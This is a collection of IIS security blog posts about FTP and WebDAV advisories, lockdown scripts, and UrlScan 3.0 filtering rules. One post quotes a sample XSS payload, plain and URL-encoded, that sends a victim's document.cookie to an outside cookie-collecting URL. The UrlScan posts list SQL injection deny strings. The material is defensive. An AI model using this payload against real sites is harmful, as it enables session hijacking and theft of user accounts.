Nazim's IIS Security Blog : IIS7

FTP recursive list after applying MS09-053

naziml — Thu, 15 Oct 2009 21:14:00 GMT

We recently released fixes for the publicly disclosed FTP vulnerabilities. One of the after-effects of applying this update will be that recursive list commands to IIS FTP 5.x, 6.0 will return the non-recursive listing. To make it clear, this feature does not exist on IIS FTP 7.x either, and that is why I did not include those versions in the previous statement. For those that will miss this feature, there is a workaround on Robert McMurray’s blog.

Fixes released for FTP vulnerabilities

naziml — Thu, 15 Oct 2009 21:06:00 GMT

Microsoft has released security bulletin MS09-053 that will address the FTP vulnerabilities that were publicly disclosed a couple of weeks ago. The information in this bulletin supercedes the previous advisory.

[Updated] IIS FTP server vulnerabilities for FTP 5.x and FTP 6

naziml — Fri, 04 Sep 2009 12:00:00 GMT

There have been two recently publicly disclosed vulnerabilities for FTP 5, FTP 5.1 and FTP 6. Wade has gone through great detail to explain what platforms are affected by each vulnerability in his blog post. Microsoft has released and refreshed an advisory that covers the details, mitigations and workarounds for the vulnerability. The Microsoft Security Research and Defense team has a blog about the exploit details for the original vulnerability. Here is the summary including both vulnerabilities:

Affected platforms: Windows Server 2000, Windows XP and Windows Server 2003, Windows Vista (FTP 6 only), Windows Server 2008 (FTP 6 only).
Non-affected platforms: Windows 7, Windows Server 2008 R2.
Windows Server 2008 and Windows Vista ships with FTP 6 by default and is affected by only one of the two disclosed vulnerabilites.
The vulnerabilities does not affect FTP 7 or FTP 7.5 that ships out-of-band fro Windows Vista or Windows Server 2008.
Windows 7 and Windows Server 2008 R2 are entirely unaffected because they contain FTP 7.5.
The newer vulnerability is a Denial of Service issue across all affected platforms and is caused by stack exhaustion.
The first vulnerability is a Remote Code Execution Vulnerability for Windows 2000 and a Denial of Service for all other platforms and is caused by a stack buffer overflow.
Both exploits were not responsibly disclosed to Microsoft. Microsoft has released an advisory to assist customers while an update is being engineered.
The stack exhaustion PoC exploit uses anonymous user with read permissions to trigger the overflow. The vulnerability is not constrained to anonymous users, and authenticated users can exploit it as well, though this will be auditable.
The stack buffer overflow PoC exploit uses anonymous user with write permissions to trigger the overflow. The vulnerability is not constrained to anonymous users, and authenticated users can exploit it as well, though this will be auditable.
Windows XP, Windows Server 2003, Windows Vista and Windows Server 2008 are protected from code execution by /GS and no public PoC exploit has yet bypassed this.
Windows Server 2000 is not protected by /GS and the exploit hence results in code execution on that platform under LocalSystem context.
The advisory has workarounds to protect customers with varied impact on FTP functionality.
The Microsoft Security Research & Defense blog has information about detecting attacks for the first vulnerability that can be used for intrusion prevention. I will update this post with information on the second vulnerability when available.

Updated advisory for FTP Vulnerability on IIS

naziml — Fri, 04 Sep 2009 04:04:00 GMT

The public exposure of another vulnerability in the FTP stack has caused a revision in the Microsoft advisory. Please refer the advisory @ http://www.microsoft.com/technet/security/advisory/975191.mspx to get updated information on exposure and impact of vulnerabilities. I have previously discussed this information in an earlier blog post and have updated this post as well. Microsoft Security Response Center (MSRC) has a revised blog as well.

The one thing I want to clarify before hand is that in the Mitigations section it mentions that FTP is not installed by default on Windows 2000, Windows XP and Windows Server 2003. Please add Windows Vista and above to this list as well. This is probably obvious to most, but I wanted to call it out anyway.

Also there has been a lot of confusion about FTP versions and what is affected. Refer to Wade's blog post on the topic to help clarify things.

Update Released for Dynamic IP Restrictions Beta

naziml — Tue, 09 Jun 2009 01:01:00 GMT

We had a couple of forum threads that reported an issue in the Beta module for Dynamic IP Restrictions. Since we are doing a significant amount of change for Beta 2, we wanted to unblock customers affected by this issue be releasing a patch. So here it is:

x86 patch: http://download.microsoft.com/download/A/D/7/AD7DC1B4-C740-4F05-8019-F1EB72326FB2/dyniprestrictions_beta_x86.msp
x64 patch: http://download.microsoft.com/download/7/C/0/7C0EC032-7FFF-4D6B-A846-F72EDC3CE952/dyniprestrictions_beta_x64.msp

We have also updated the MSIs, so that if you were to do a fresh install, you would get a patched version of the Beta. Please post any issues with the patch on the IIS 7 security forum.

WebDAV Authentication Bypass on IIS 5.0, 5.1 and 6.0

naziml — Wed, 20 May 2009 16:52:00 GMT

Microsoft has released advisory 971492 about an Elevation of Privilege issue with the WebDAV extension for IIS 5.0, 5.1 and 6.0. These versions of IIS reside on Windows Server 2000, Windows XP and Windows Server 2003 respectively. The advisory contains relevant information for who is affected and what the mitigations and workarounds are. The Microsoft Security Response Center (MSRC) has also release a blog outlining our response and the Security Research & Defense team has a blog outlining technical details.

Here are the key takeaways:

This only affects WebDAV for IIS 5.0, 5.1 and 6.0. It does not affect WebDAV 7.0 for IIS 7.0.
This issue does not affect non-DAV requests to IIS 5.0, 5.1 and 6.0.
WebDAV is not enabled by default on IIS 6.0 and IIS is not installed by default on for WinXP or Win2k3.
File access checks are still enforced on vulnerable systems.
Anonymous user account is explicitly denied write access to default web root folder in default configuration.
Sharepoint, OWA and Exchange have a different implementation of DAV that is unaffected.

The advisory has workarounds on how to protect vulnerable systems. To find out if a system is vulnerable, send the HTTP request below to the root of your site. You can use a tool like WFetch to send out requests to your sites (even SSL protected ones).

REQUEST: **************\n
OPTIONS / HTTP/1.1\r\n
Host: 127.0.0.1\r\n
Accept: */*\r\n
\r\n
RESPONSE: **************\n
HTTP/1.1 200 OK\r\n
Server: Microsoft-IIS/5.0\r\n
Date: Tue, 19 May 2009 20:13:53 GMT\r\n
MS-Author-Via: MS-FP/4.0,DAV\r\n
Content-Length: 0\r\n
Accept-Ranges: none\r\n
DASL: <DAV:sql>\r\n
DAV: 1, 2\r\n
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH\r\n
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK\r\n
Cache-Control: private\r\n
\r\n

The interesting portions of the response are highlighted in red. To check if WebDAV is enabled and in effect, check the following items in the response.

Need to receive a 2xx response to OPTIONS request made to root of site to analyze the result. If this is not the case, the test is inconclusive.
Response contains the DAV header with value 1,2.
Response contains MS-Author-Via header which contains DAV value.
Response DOES NOT contain X-MSDAVEXT header. Existence of this means its Sharepoint’s DAV, which is a different implementation that is not susceptible to this vulnerability.

Script to lock down IIS paths

naziml — Wed, 11 Mar 2009 18:48:00 GMT

In IIS 7 we have request filtering available to help with locking down files and directories that you don't want to serve out. This is useful for resources (like configuration) that you want your IIS worker process to have access to, but not serve it out to clients. Things like web.config files fall in to this bucket, and default IIS 7 request filtering configuration denies serving out this extension. However on IIS 6, you don't have request filtering functionality built into the IIS platform. You would need to install stand-alone tools like UrlScan.

But there is a way on IIS 6 to prevent serving out files that exists on the platform; it's the AccessFlags metabase property. This property can be applied to any file or directory, and setting it to 0 will block anything from the directory or file from being served out. To make the task of setting this property for any file or directory under your sites easy, I wrote a quick script using ADSI to assist with the task. I have done very minimal testing on this, so please let me know if there are any issues.

// File: IISLockPath.js
// Copyright Microsoft Corp. 2009
// Author: Nazim Lala
//
// This script will set the AccessFlags property to 0 for a file/folder in
// IIS so that the file is not served out.
// Access to the file/folder will result in 403s.
//
// Usage:
//      IISLockPath.js <app_mb_path> <dir/filepath>
// where -
//      <vdir_path>: Metabase path to vdir under which application lives.
//                   Can be ROOT as well.
//      <dir/filepath>: relative path to file or folder under vdir.
// eg -
//      For Application = W3SVC/1/MyApp, which has physical path c:/MyApp
//      To lock c:/MyApp/Config/Hidden folder the command would be:
//      IISLockPath.js W3SVC/1/MyApp Config/Hidden
//
//////////////////////////////////////////////////////////////////////////////////////////////

var VdirMBPath = null;
var RelResourcePath = null;
var VdirObj = null;
var WebObj = null;
var IsFolder = false;
var IsFile = false;
var SplitPath;

if ( WScript.Arguments.Count() != 2 )
{
    WScript.Echo("Usage: IISLockPath.js <app_mb_path> <dir/filepath>.\r\n" +
        "<vdir_path>: Metabase path to vdir under which application lives." +
                     "Can be ROOT as well.\r\n" +
        "<dir/filepath>: relative path to file or folder under vdir." +
        "Eg: App = W3SVC/1/MyApp, which has physical path c:/MyApp." +
        "To lock c:/MyApp/Config/Hidden folder the command would be: "+
        "IISLockPath.js W3SVC/1/MyApp Config/Hidden");
    WScript.Quit();
}
else
{
    // Verify format for MB vdir path
    // Must have atleast w3svc/# - 7 characters
    if ( WScript.Arguments.Item(0).length < 7 ||
         WScript.Arguments.Item(0).toUpperCase().slice(0,6) != "W3SVC/" )
    {
        WScript.Echo("Error: " + WScript.Arguments.Item(0) +
                     " is not a valid IIS metabase path");
        WScript.Quit();
    }

    // Replace all '\' with '/' and remove beginning and trailing slashes
    var rgx = new RegExp("\\\\", "g");
    var startindex, endindex;
    var s = WScript.Arguments.Item(0).replace(rgx, "/");
    if ( s.substring(0, 1) == "/" ) startindex = 1;
    else startindex = 0
    if ( s.substring(s.length-1, s.length) == "/" ) endindex = s.length-1;
    else endindex = s.length

    VdirMBPath = s.substring(startindex, endindex);

    s = WScript.Arguments.Item(1).replace(rgx, "/");
    if ( s.substring(0, 1) == "/" ) startindex = 1;
    else startindex = 0
    if ( s.substring(s.length-1, s.length) == "/" ) endindex = s.length-1;
    else endindex = s.length

    RelResourcePath = s.substring(startindex, endindex);

    // Verify existence of vdir path
    // Technically we can get this working even if this is a web directory, but that has more steps to it
    // So we will stick to VDirs for now.
    try
    {
        VdirObj = GetObject("IIS://localhost/" + VdirMBPath);
    }
    catch (e)
    {
        VdirObj = null;
    }

    if ( VdirObj == null )
    {
        WScript.Echo("Error: Could not locate virtual directory " +
                     VdirMBPath);
        WScript.Quit();
    }

    // Check if the Metabase has a web directory/file for this.
    try
    {
        var Path = "IIS://localhost/" + VdirMBPath + "/" + RelResourcePath;
        WebObj = GetObject(Path);

        // We should be able to directly set the AccessFlag then.
        WebObj.Put( "AccessFlags", 0 );
        WebObj.SetInfo();

        WScript.Echo("Done");
        WScript.Quit();

    }
    catch (e)
    {
        WebObj = null;
    }

    // We will need to create the web directory/file under the vdir.

    // Validate that the relative path exists under the vdir and if it
    // is a file or folder
    try
    {
        var FSObject = new ActiveXObject("Scripting.FileSystemObject");
        var PhysicalPath = VdirObj.Path + "\\" + RelResourcePath;

        if ( FSObject.FileExists(PhysicalPath) )
        {
            IsFile = true;
        }
        else if ( FSObject.FolderExists(PhysicalPath) )
        {
            IsFolder = true;
        }

        if ( !( IsFile || IsFolder ) )
        {
            WScript.Echo("Error: Could not locate " + RelResourcePath +
                         " under physical path of " + VdirMBPath);
            WScript.Quit();
        }
    }
    catch (e)
    {
        WScript.Echo("Error: Could not create file system object.");
        WScript.Quit();
    }

    // Recursively create web folders for the relative path, making sure
    // the last one is either folder or file.

    SplitPath = RelResourcePath.split("/");
    var CurrentPath = "IIS://localhost/" + VdirMBPath;
    for (i=0; i<SplitPath.length-1; i++)
    {
        WebObj = GetObject(CurrentPath);
        WebObj.Create("IISWebDirectory", SplitPath[i]);
        WebObj.SetInfo();
        CurrentPath += "/" + SplitPath[i];
    }

    if ( IsFolder )
    {
        WebObj = GetObject(CurrentPath);
        WebObj.Create("IISWebDirectory", SplitPath[SplitPath.length-1]);
        WebObj.SetInfo();
    }
    else
    {
        WebObj = GetObject(CurrentPath);
        WebObj.Create("IISWebFile", SplitPath[SplitPath.length-1]);
        WebObj.SetInfo();
    }

    CurrentPath += "/" + SplitPath[SplitPath.length-1];
    WebObj = GetObject(CurrentPath);
    WebObj.Put( "AccessFlags", 0 );
    WebObj.SetInfo();

    WScript.Echo("Done");
    WScript.Quit();
}

Script to install UrlScan v3.0 as a site filter.

naziml — Tue, 14 Oct 2008 07:02:00 GMT

Although using WIX to create an MSI to do this task is a cleaner approach, it is too heavy duty for me. I do this often enough to warrant creating a script for it, so I though I would share it out.

To use it you would run: InstallUrlScanAtSite.js -siteid:1 [-dest:c:\foo]. You have to specify the site ID of the site you want it installed at. The 'dest' parameter will be the location where your urlscan.dll and urlscan.ini file will be copied to for use as the filter path. If you don't specify this, it will copy them to your site's ROOT vdir path.

// InstallUrlScatAtSite.js
//
// Install UrlScan 3.0 at a particular site.
//
// Author: Nazim Lala
//
// What it does:
//   1. By default copy urlscan.dll and urlscan.ini from 
//      system32\inetsrv\urlscan dir to root of site you want to install to.
//      Else use the value of Dest as the destination.
//   2. Install this copy of the dll as a site filter of that particular site.
//
// Assumptions:
//   1. You already have UrlScan 3.0 installed globally on the machine.
//   2. The script has access to write to your site's root directory or 
//      Dest
//

var szUsage;
var szSiteID;
var szDest;


var CRLF = "\r\n";

szUsage = "" +
    "Install UrlScan 3.0 as a site filter" + CRLF +
    CRLF +
    WScript.ScriptName + " [[-Parameter:Value]...]" + CRLF +
    CRLF +
    "Where:" + CRLF +
    "    Parameter  Value" + CRLF +
    "    ---------  -------------------------------------------" + CRLF +
    "    SiteID     Site ID # (Required)" + CRLF +
    "    Dest       Destination to copy urlscan.dll/.ini to" + 
    "(Default is Site root)" + CRLF +
    "";
    
if ( ParseCommandline() && ValidateArgs() )
{
    if ( !SetandCheckDestination() ) 
    {
        WScript.Quit( 1 );
    }
    if ( !CopyDllAndConfig() ) 
    {
        WScript.Quit( 2 );
    }
    if ( !AddFilter() )
    {
        WScript.Quit( 3 );
    }
    
}

function ParseCommandline()
{
    var exp = new RegExp( "-([^:]+):(.+)" );
    var args;

    for ( var i = 0; i < WScript.Arguments.length; i++ )
    {
        args = exp.exec( WScript.Arguments( i ) );
        if ( args == null )
        {
            WScript.Echo( "Invalid parameter " + WScript.Arguments( i ) )
            return false;
        }
        else
        {
            switch ( args[1].toLowerCase() )
            {
                case "siteid":
                    szSiteID = args[2];
                    break;
                case "dest":
                    szDest = TrimSlashes( args[2] );
                    break;
                default:
                    WScript.Echo( "Unknown parameter " + args[1] );
                    return false;
            }
        }
    }

    return true;
}

function ValidateArgs()
{
    if ( szSiteID == null )
    {
        WScript.Echo( "Missing Site ID." + szUsage);
        return false;
    }
    else return true;
}

function SetandCheckDestination()
{
    if ( szDest == null )
    {
        // Set destination to site root
        try
        {
            var objSite = GetObject( "IIS://LOCALHOST/W3SVC/" + 
                szSiteID +"/ROOT" );
            szDest = objSite.Path;
        }
        catch ( e )
        {
            WScript.Echo( "Failed to acquire site's ROOT path. " +  
                FormatErrorString( e ) );
            return false;
        }
    }
    else
    {
        // Check if destination path exists. If not try to create it.
        try
        {
            var objFSO = new ActiveXObject( "Scripting.FileSystemObject" );
            if ( !objFSO.FolderExists( szDest ) )
            {
                objFSO.CreateFolder( szDest );
            }
        }
        catch ( e )
        {
            WScript.Echo( "Failed to create folder. " + 
                FormatErrorString( e ) );
            return false;
        }
    }

    return true;
}    

function CopyDllAndConfig()
{
    try
    {
        var objFSO = new ActiveXObject( "Scripting.FileSystemObject" );
        var WshShell = WScript.CreateObject( "WScript.Shell" );
        var objEnv = WshShell.Environment( "Process" );
        var szUrlScanDir = objEnv( "WINDIR" ) + 
            "\\system32\\inetsrv\\urlscan";
        objFSO.CopyFile( szUrlScanDir+"\\urlscan.dll", 
            szDest+"\\urlscan.dll" );
        objFSO.CopyFile( szUrlScanDir+"\\urlscan.ini", 
            szDest+"\\urlscan.ini" );
    }
    catch ( e )
    {
        WScript.Echo( "Failed to copy files." +
            FormatErrorString( e ) );
        return false;
    }
    return true;
}

function AddFilter()
{
    var objSiteFilters;
    var objUrlScanFilter;
    var szLoadOrder;
    
    try
    {
        objSiteFilters = GetObject("IIS://LOCALHOST/W3SVC/" + 
            szSiteID + "/FILTERS");
    }
    catch ( e )
    {
        //
        // Perhaps we don't have any filters.
        // Try to create it.
        //
        try
        {
            objSiteFilters = GetObject( "IIS://LOCALHOST/W3SVC/" + 
                                    szSiteID ).Create( "IIsFilters",
                                                        "Filters" );
            objSiteFilters.SetInfo();
        }
        catch ( e2 )
        {
            //
            // Could not create the filters node. Quit.
            //
            WScript.Echo( "Failed to create filters node." + 
                FormatErrorString( e ) );
            return false;
        }
    }
    
    try
    {
        //
        // Create the actual Filters node and configure path.
        //
        objUrlScanFilter = objSiteFilters.Create( "IIsFilter", 
            "UrlScan 3.0" );
        objUrlScanFilter.FilterPath = szDest;
        objUrlScanFilter.SetInfo();
    }
    catch ( e )
    {
        if ( e.number == -2147024713 )
        {
            WScript.Echo( "UrlScan 3.0 Filter already exists." );
        }
        else
        {
            WScript.Echo( FormatErrorString( e ) );
        }

        return false;
    }
    
    try
    {
        //
        // Update FilterLoadOrder and append to beginning of list
        //
        szLoadOrder = objSiteFilters.FilterLoadOrder;
        
        if ( szLoadOrder == null )
        {
            objSiteFilters.FilterLoadOrder = "UrlScan 3.0";
        }
        else
        {
            objSiteFilters.FilterLoadOrder = "UrlScan 3.0,"+szLoadOrder;
        }
        objSiteFilters.SetInfo();
        
    }
    catch ( e )
    {
        WScript.Echo( "Failed to update filter load order: " + 
            FormatErrorString( e ) );
        return false;
    }
    
    return true;
}

function TrimSlashes( strInput )
{
    return strInput.replace( new RegExp( "^/+|/+$", "g" ), "" );
}

function Int32ToHRESULT( num ) 
{
    if ( num < 0 )
    {
        return "0x" + new Number( 0x100000000 + num ).toString( 16 );
    }
    else
    {
        return "0x" + num.toString( 16 );
    }
}


function FormatErrorString( objError )
{
    return "(" + Int32ToHRESULT( objError.number) + ")" + ": " +
           objError.description;
}

I haven't thoroughly tested it, so if you find any bugs, let me know. You can also easily modify this script to add it to ALL sites on the server if need be.

UrlScan v3.0 RTW Released

naziml — Tue, 19 Aug 2008 20:58:00 GMT

About 2 months ago we released the beta for UrlScan v3.0 to address customer concerns with automated SQL injection attacks and we have been busy since refining it with the help of our customers, community and MVPs. You can download the bits at the links below.

UrlScan v3.0 RTW for x86

UrlScan v3.0 RTW for x64

You can also check out the updated walkthroughs for UrlScan v3.0 that covers the new features since Beta.

Using UrlScan

UrlScan Setup

Common UrlScan Scenarios

UrlScan FAQs

Here is a summary of the feature additions to UrlScan v3.0 RTW

1) W3C formatted logging.

UrlScan v3.0 RTW has W3C formatted logs so that analyzing log files is more accessible by writing queries against them using Log Parser. The following are the fields in the new log format with a brief description.

Date: Date of incoming request
Time: UTC time for incoming request
c-ip: Client IP address
s-siteid: SiteID for the site that processed the request
cs-method: Method (verb) of incoming request
cs-uri: URI of incoming request, including query string
x-action: Action performed by UrlScan. Either rejected or logged
x-reason: Reason for UrlScan check being triggered.
x-context: Portion of request this check is applicable to, e.g. URL, query string etc
cs-data: Data in the request that triggered the UrlScan check
x-control: UrlScan configuration data that caused the UrlScan check to trigger

2) Allow rules for URLs and query strings

UrlScan v3.0 RTW gives you the ability to specify a "safe" list of URLs and query strings that will by pass all UrlScan checks. This gives administrators the ability to configure UrlScan to allow certain URLs that would otherwise trigger a UrlScan check.

Here is the link to my blog when UrlScan v3.0 Beta was release

Using the new rules configuration in UrlScan v3.0 Beta (Part 2)

naziml — Mon, 30 Jun 2008 20:41:00 GMT

Dissecting the SQL injection sample in the walkthrough

I will spend some time dissecting the SQL injection rule posted in the walkthrough for UrlScan. Before I do so, I want to re-iterate the fact that SQL injection is a web application issue, and hence the right place to fix it is in the web application. Sometimes when you are the victim of a SQL storm, it is less than ideal to go figure out all the places your web application might be susceptible. That's where UrlScan comes in and offers a stop gap solution till you can fix the apps, without taking any downtime hit on your site. The one issue here is that of false positives ... and these are hard to predict because different web applications have different requirements and semantics. Nonetheless, UrlScan can offer substantial protection in the face of a SQL Storm at the cost of a some false positives that will cause valid requests to be rejected.

[SQL Injection]
AppliesTo=.asp,.aspx
DenyDataSection=SQL Injection Strings
ScanUrl=0
ScanAllRaw=0
ScanQueryString=1
ScanHeaders=

[SQL Injection Strings]
--
%3b ; a semicolon
/*
@ ; also catches @@
char ; also catches nchar and varchar
alter
begin
cast
create
cursor
declare
delete
drop
end
exec ; also catches execute
fetch
insert
kill
open
select
sys ; also catches sysobjects and syscolumns
table
update

So this is the first bit. Notice that the only thing we are scanning here is the query string, not the URL or any headers. This will give us a little more leeway with our strings list. But even so, there are a lot of chances for false positives. For example if were to have "podcast" in my query string, I would trip the filter because of "cast". So the best thing to do is copy this over and do quick testing to make sure your apps still work. The other thing to do is keep an eye on the log files to see what it is catching.

The obvious gap in the rule above is the fact that the only thing I am checking is the query string. What about the rest of the request? The parts of interest for SQL injection really depend on your web application ... but there are definitely some headers that seem important, like the Cookie header (popular candidate for script injection as well).

[SQL Injection Headers]
AppliesTo=.asp,.aspx
DenyDataSection=SQL Injection Headers Strings
ScanUrl=0
ScanAllRaw=0
ScanQueryString=0
ScanHeaders=Cookie:

[SQL Injection Headers Strings]
--
@ ; also catches @@
alter
cast
convert
create
declare
delete
drop
exec ; also catches execute
fetch
insert
kill
select

For folks who have been following this, you will notice that an older version was looking at ScanAllRaw. Even with a trimmed down list, there were a lot of things breaking. Like /* with the Accept-Encoding header and 'cast' in User-Agent strings that had things like 'broadcast'. So I followed my own advice and reduced the scope a little more.

Another part of the request that folks missed was the request entity, but the explanation for that deviated from this topic sufficiently to warrant its own blog here.

UrlScan v3.0 filtering based on Request Entity

naziml — Mon, 30 Jun 2008 20:21:00 GMT

While some folks are rejoicing, others are noticing the lack of scanning for the request entity. Why would we do that? The easy answer is that this is just not possible with an ISAPI filter. In IIS 5 and earlier, there is no API that would allow us to filter request entity, so request entity will never happen there. In IIS 6, the APIs exist to do this via * script maps, but the performance would be pretty bad. Also, there is no mechanism to treat the request as a stream, so there would be potential memory utilization problems. So we left it at that and said "can't do it, sorry".

But then you ask, "what about the request filtering module in IIS7"? Theoretically the IIS7 module APIs certainly let you analyze the request entity, so it is certainly possible. One of our current tasks is to bring the request filtering module up to par (feature-wise) with UrlScan v3.0 and then we can consider answering this complex problem. Yes, don't let this fool you ... analyzing request entity is a complex problem that has consequences for both performance and security. There is a multitude of things you need to account for here: compression/encryption, custom serialization, signature split between multiple POSTs, memory pressure due to entity buffering for POST data, etc. By no means are we claiming that this is an impossible task ... just that the cost to benefit ratio for this is low at this point. But we will try to look into this, time permitting.

Please feel free to send your thoughts/comments ... happy filtering !!

Using the new rules configuration in UrlScan v3.0 Beta (Part 1)

naziml — Tue, 24 Jun 2008 19:51:00 GMT

If you haven't noticed already, UrlScan v3.0 Beta is out and it is the answer to all your prayers. Well maybe not all, but it still is nifty. UrlScan 2.5 is widely used and is quite popular. There were a few minor issues with it that were all fixed for UrlScan 3.0. But besides those UrlScan now has the ability to filter based on query strings as well and a new rules syntax lets you specify powerful rules and lets you stay organized while you are at it.

I thought I would take some time to write some sample rules for common scenarios that people would like to filter, but instead decided to dissect our defaults and the little sample for SQL injection that we put up on the walkthrough for the Beta.

Cross site scripting

There has been a lot of discussion about XSS and it falls into the same bucket as SQL injection in the fact that this is not a server/product vulnerability. It is an application issue just like SQL injection. CGISecurity has a nice little FAQ on XSS here and iDefense has a decent whitepaper here. There are quite a few advanced papers on XSS evasion and static XSS detection in applications, but like all things in life, simple is usually good.

Most XSS attacks will pass in script where the application does not expect it. Here are some samples of what a XSS attack might look like from the CGISecurity FAQ linked above.

http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>

Notice the similarity to SQL injection? The variable query string parameter is pre-emptively terminated and a bunch of script goo is added. Folks can get a little more devious and encode the query string like below so it's not easily identified.

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

The pattern that should jump out at you is the <script> tag, but how do I accurately detect it in the cases where I might have it encoded or have to deal with arbitrary whitespaces like < script > ? The new default urlscan.ini contains a rule in it to protect against these sort of patterns and the rule is just simply:

[DenyQueryStringSequences]

Simply put it just disallows angle brackets in the query string and if you think about the myriad web applications out there today, not many have legitimate use of either the '<' or the '>' character on the query string. Along with the above section, the default configuration also has the following set:

[Options]

UnescapeQueryString=1

What this does is that it will check sequences in both the raw and the un-escaped version of the query string. So now even the second example above for XSS would be caught by the default rule.

Read the next post in the series and watch me dissect the sample SQL injection rule in the walkthrough posted.

Interaction between URL Rewriter and Request Filtering Modules for IIS7

naziml — Fri, 06 Jun 2008 00:39:00 GMT

I hope folks have noticed the TP for the URL Rewriter module. Download it and give it a try!

Microsoft URL Rewrite Module for IIS 7.0 CTP1 (x86)

Microsoft URL Rewrite Module for IIS 7.0 CTP1 (x64)

I have been playing around with in my spare time to get a feel for it, and if you are not familiar with rewrite, stop by the walkthrough here.

While playing around with it an interesting question occurred to me ... how do the Rewriter module and the Request Filtering module interact with a request? I ask this question because if I block an HTTP request with a particular pattern in Request Filtering, and I attempt to rewrite the very same pattern to something else in the Rewriter module, who trumps who?

Expectation of a secure server

First let's figure out what we should expect to happen. Request filtering exercises a contract to look at requests coming to the server from the client, unadulterated. So if I have a rule that says disallow .aspx requests and a client types in the URL http://localhost/foo.aspx in his/her browser, the request should be blocked, period.

URL Rewriter module is a server-side request modification entity. So one should put it in the same bucket as an ASP.NET application that redirects or changes request parameters. So if I have a rewrite rule that changes the file extension of every request that ends in .foo to .aspx, it should not be considered a violation of the request filtering rule. The reason being that the client typed in http://localhost/xxxxxx.foo in his/her browser and since that does not have the .aspx extension, the request should be allowed to execute.

Behavior on IIS7

In a nutshell, IIS 7.0 is well behaved. In the request processing pipeline, the request filtering module gets a higher priority than the rewriter module. The rewriter module also has a sufficiently high priority in the request processing queue (otherwise it wouldn't be a very useful module), but it still kicks in after request filtering module on the BeginRequest path. The important takeaway here is that this is the desired order of processing, and so if you are manually tweaking module order and priority in configuration, swapping the order of these two could be considered as breaking the security contract that request filtering tries to establish, don't do it!

Bottom line, the defaults are good ... we have thought about things before putting them in order, even though it may look like a random ordering to the untrained eye :)